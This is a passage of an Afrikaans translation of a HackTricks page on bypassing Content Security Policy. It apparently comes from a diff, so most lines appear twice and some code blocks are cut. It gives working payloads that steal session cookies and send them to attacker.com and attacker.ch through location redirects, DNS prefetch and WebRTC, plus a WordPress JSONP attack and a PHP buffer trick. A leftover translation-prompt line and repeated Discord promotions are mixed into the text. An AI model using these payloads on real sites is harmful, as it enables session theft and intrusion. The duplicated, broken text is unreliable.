- Deur te luister na die `securitypolicyviolation`-gebeurtenis, kan die `blockedURI`-eienskap vasgevang word. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL verwys het, uitlek.
* 'n `iframe` word geskep wat na 'n URL wys (laat ons dit `https://example.redirect.com` noem) wat toegelaat word deur CSP.
* Hierdie URL verwys dan na 'n geheime URL (bv., `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
* Deur te luister na die `securitypolicyviolation` gebeurtenis, kan 'n persoon die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, uitlek.
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes en CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes in verband met CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak gebruik van 'n binêre soekalgoritme en pas die CSP aan om spesifieke domeine in te sluit wat doelbewus geblokkeer word. Byvoorbeeld, as die geheime subdomein bestaan uit onbekende karakters, kan jy iteratief verskillende subdomeine toets deur die CSP-voorskrif te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n voorbeeld van hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP riglyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan die moontlike karakters in die geheime subdomein beperk word, en uiteindelik die volledige URL onthul.
deur te monitor watter versoek deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontbloot.
Beide metodes maak gebruik van die subtiliteite van die implementering en gedrag van die CSP in webblaaier, en demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan lek.
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.
Truuk van [**hier**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutjagters te kommunikeer!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hackery ondersoek
**Hack-insigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek
**Hack-nuus in werklikheid**\
Bly op hoogte van die vinnige hackery-wêreld deur middel van werklike nuus en insigte
**Nuutste Hack-nuus**\
Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutjagbounties wat begin en kritieke platformopdaterings
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Onveilige tegnologieë om CSP te omseil
### PHP-responsbuffer-oorlading
PHP is bekend daarvoor dat dit standaard die respons tot 4096 byte buffer. Daarom, as PHP 'n waarskuwing wys, deur genoeg data binne waarskuwings te voorsien, sal die respons gestuur word voordat die CSP-kop gestuur word, wat veroorsaak dat die kop geïgnoreer word.\
Die tegniek bestaan dus basies daarin om die responsbuffer met waarskuwings te vul sodat die CSP-kop nie gestuur word nie.
Idee van [**hierdie writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Herskryf foutbladsy
Van [**hierdie writeup**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
@ -709,46 +625,48 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik **in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt van 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die regte eindpunt in dieselfde oorsprong te herlaai wat jy wil misbruik. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om toegang te verkry tot die DOM van die **regte eindpunt om te misbruik.** Vir meer inligting, kyk:
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die regte eindpunt in dieselfde oorsprong te verfris wat jy wil misbruik. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`**-voorwerp in die **lading** gebruik om toegang te verkry tot die DOM van die **regte eindpunt om te misbruik**. Vir meer inligting, kyk:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Verder het **wordpress** 'n **JSONP** eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat in die uitset gestuur word, sal **weerspieël** (met die beperking van slegs letters, syfers en punte).
Daarbenewens het **wordpress** 'n **JSONP**-eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat in die uitvoer gestuur word, sal **weerspieël** (met die beperking van slegs letters, syfers en kolletjies).
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **laai** omdat dit **toegelaat word deur 'self'**. Verder, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **terugroep-eindpunt** wat die CSP **omseil** om meer voorregte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **laai** omdat dit **toegelaat word deur 'self'**. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare callback**-eindpunt wat die **CSP omseil** om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...\
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Uitlekvermyding
## CSP Uitlek Bypasses
As daar 'n streng CSP is wat jou nie toelaat om **met eksterne bedieners te kommunikeer nie**, is daar sekere dinge wat jy altyd kan doen om die inligting uit te lek.
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interakteer nie**, is daar 'n paar dinge wat jy altyd kan doen om die inligting uit te lek.
### Ligging
Jy kan eenvoudig die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:
Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta-etiket
### Meta tag
Jy kan omskakel deur 'n meta-etiket in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)
Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Voorafoplossing
### DNS Prefetch
Om bladsye vinniger te laai, sal webblaaier die hostnaam vooraf oplos na IP-adresse en dit vir later gebruik in die kas geplaas word.\
Om bladsye vinniger te laai, gaan webblaaier die hostnaam na IP-adresse vooraf oplos en dit vir later gebruik in die cache stoor.\
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: `<link reol="dns-prefetch" href="iets.com">`
Jy kan hierdie gedrag misbruik om **gevoelige inligting te eksfiltreer deur middel van DNS-versoeke**:
Jy kan hierdie gedrag misbruik om **gevoelige inligting via DNS-versoeke uit te voer**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
'n Ander manier:
### Ander manier:
Die volgende is inhoud uit 'n hakkersboek oor hakkingstegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hakkingstegniekname, hakkingwoord, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown-sintaks nie.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
@ -760,18 +678,18 @@ Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Dit blyk dat hierdie tegniek nie werk in headless webblaaier (bots) nie.
Dit blykbaar werk hierdie tegniek nie in headless-browsers (bots)
{% endhint %}
### WebRTC
Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid van die CSP nagaan nie**.
Eintlik kan jy inligting _lek_ deur 'n _DNS-versoek_ te gebruik. Kyk na hierdie kode:
Eintlik kan jy inligting _lek_ deur 'n _DNS versoek_. Kyk na hierdie kode:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
'n Ander opsie:'
'n Ander opsie:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -788,7 +706,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Outomaties skep van CSP
## Skep CSP outomaties
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -802,23 +720,22 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutvinders van beloningsjagte!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hackering ondersoek
Betrokkenheid by inhoud wat die opwinding en uitdagings van hackering ondersoek
**Hack-nuus in werklikheid**\
Bly op hoogte van die vinnige hackering-wêreld deur middel van werklikheidsnuus en insigte
**Nuus oor Hack in Werklikheid**\
Bly op hoogte van die vinnige hackeringwêreld deur middel van nuus en insigte in werklikheid
**Nuutste aankondigings**\
Bly ingelig met die nuutste beloningsjagte wat begin en noodsaaklike platformopdaterings
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
<details>
@ -826,10 +743,10 @@ Bly ingelig met die nuutste beloningsjagte wat begin en noodsaaklike platformopd
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hackeringstruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hackeringtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>